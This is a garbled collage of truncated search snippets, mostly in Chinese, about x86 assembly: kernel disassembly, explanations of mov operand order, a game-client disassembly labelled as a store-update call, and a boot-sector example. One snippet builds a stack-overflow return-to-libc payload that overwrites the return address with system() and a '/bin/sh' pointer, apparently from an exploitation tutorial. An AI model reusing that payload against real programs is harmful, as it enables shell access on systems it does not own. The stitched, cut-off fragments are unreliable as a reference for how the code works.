23b74: 8b 4f 64 mov 0x64(%rdi),%ecx ; is shifted so load shift value to ecx 23b77: 48 8b 57 38 mov 0x38(%rdi),%rdx ; map base 23b7b: 48 03 57 58 add 0x58(%rdi),%rdx ; plus offset to value 23b7f: 8b 02 mov (%rdx),%eax ; load map_used value to eax 23b81: ...
mov eax 1这段代码就是是将立即数1移入EAX中,执行该指令后 EAX = 1 也就是寄存器 mov eax,...
mov eax,[xxx],是把逗号右边,当做源,左边当做目的。80x86 的汇编,都是这样的。其它的汇编语言,也有用左边的当做源。
# 这里因为是程序内部存在的,所以我们可以直接找到# elf.search('/bin/sh').next() 这个其实和我们上面的那个ida直接搜索字符串得到地址是一样的payload = 'A' * 0x88 + 'B'*0x4 + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)# 这里0x88是栈空间大小,然后0x4是覆盖掉ebp,后面是调用system...
0xDC mov ecx,29461698控件对象 mov eax,25B0C0A5更新商城CALL call eax 89 81 68 05 00 00 8B 4D FC +A 25B0BB2B 55 push ebp 25B0BB2C 8BEC mov ebp,esp 25B0BB2E 51 push ecx 25B0BB2F 894D FC mov dword ptr ss:[ebp-0x4],ecx 25B0BB32 837D 08 00 cmp dword ptr ss:[ebp+0x...
mov byte [gs:0x0c],'w' mov byte [gs:0x0e],'o' mov byte [gs:0x10],'r' mov byte [gs:0x12],'l' mov byte [gs:0x14],'d' jmp $ ;512字节的最后两字节是启动区标识 times 510-($-$$) db 0 db 0x55,0xaa 第二步:编译它 ...